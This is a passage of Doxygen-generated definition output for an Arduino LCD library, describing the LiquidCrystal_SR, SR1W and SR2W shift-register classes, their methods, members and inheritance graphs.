sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a507726b30de4b552b4e32faf9a3aa9e3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '168'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a9984b207beddba9ff299f9356f891065'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '167'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a1e5bf3e5c6ec5b6c41f6949b6e34fd34'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '166'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a12e3ee583d454d5f52223beca91f5bae'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '171'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1adab0eb2bb7392a77375034530bf230eb'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '170'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad20f9d3282b047fdbae8e97b07d4fc89'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_two_wire'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '164'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + cp-fileline = '95'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 24; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '25'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 25; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 26; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '27'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 27; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r1_w'; + cp-name = 'LiquidCrystal_SR1W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a33bff2c123d3dc42a829b0f8034912c9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR1W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_sr1w_circuitType +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'circuitType'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +POSITIVE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '314'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD 1 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register. + @param circuitType[in] optionally select an alternate circuit type + @param blpol[in] optional backlight polarity (default = POSITIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a7fc0b03977907b4d526a6b9e49a331b1'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '328'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a82d844569eb258559afb40ab354eb0a5'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '340'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a69e25db9a22f6db2298a491f7ad1e584'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clearSR'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '357'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Clears the shift register to ensure the Latch/Enable pins aren't + triggered accidentally. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a0327b271d94edec240063b64406bf0b9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_sr1w_circuitType +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'circuitType'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '350'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1afcb233448f4cec3f4074a812554dc389'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '363'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a925c01c77c3fa96b8f9e9b0861f25ded'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '371'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1aed16f51df5f5a6aaadabdc4ccc04b998'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blPolarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '370'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a03ff5be51ff970ec73a521740d4a4d97'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +t_sr1w_circuitType +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_circuitType'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '368'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a1a23b85dfd7f61b455959f5c43b4654c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '366'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1ad8d5ad6e9b25dd1c86b17a73ddc61369'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '365'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + cp-fileline = '300'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 29; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 28; + node-label = 'LiquidCrystal_SR1W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r1_w'; + }; + node-child = { + child-id = '29'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 31; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 30; + node-label = 'LiquidCrystal_SR1W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r1_w'; + }; + node-child = { + child-id = '31'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r2_w'; + cp-name = 'LiquidCrystal_SR2W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1af307fdf5c8feb757e965074dcdeb1dd3'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR2W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +POSITIVE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '151'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a65dc6f261c319be8e56f3c1f6a5c877d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2158db27287c1564a03e7a1472beb3b6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '177'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a12c14153e7056cb4a98310529bace6a8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ae369efcd3fca47a018a034f5f4a1679b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a3b1dfb83ad02274c30fa940a10619737'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a906f803e1ae324b5383fa004093124f4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blPolarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a27727d63c1ce0f9aada630814b8f022b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1aa36d38c009bf846e7726fc48c0067fc3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = 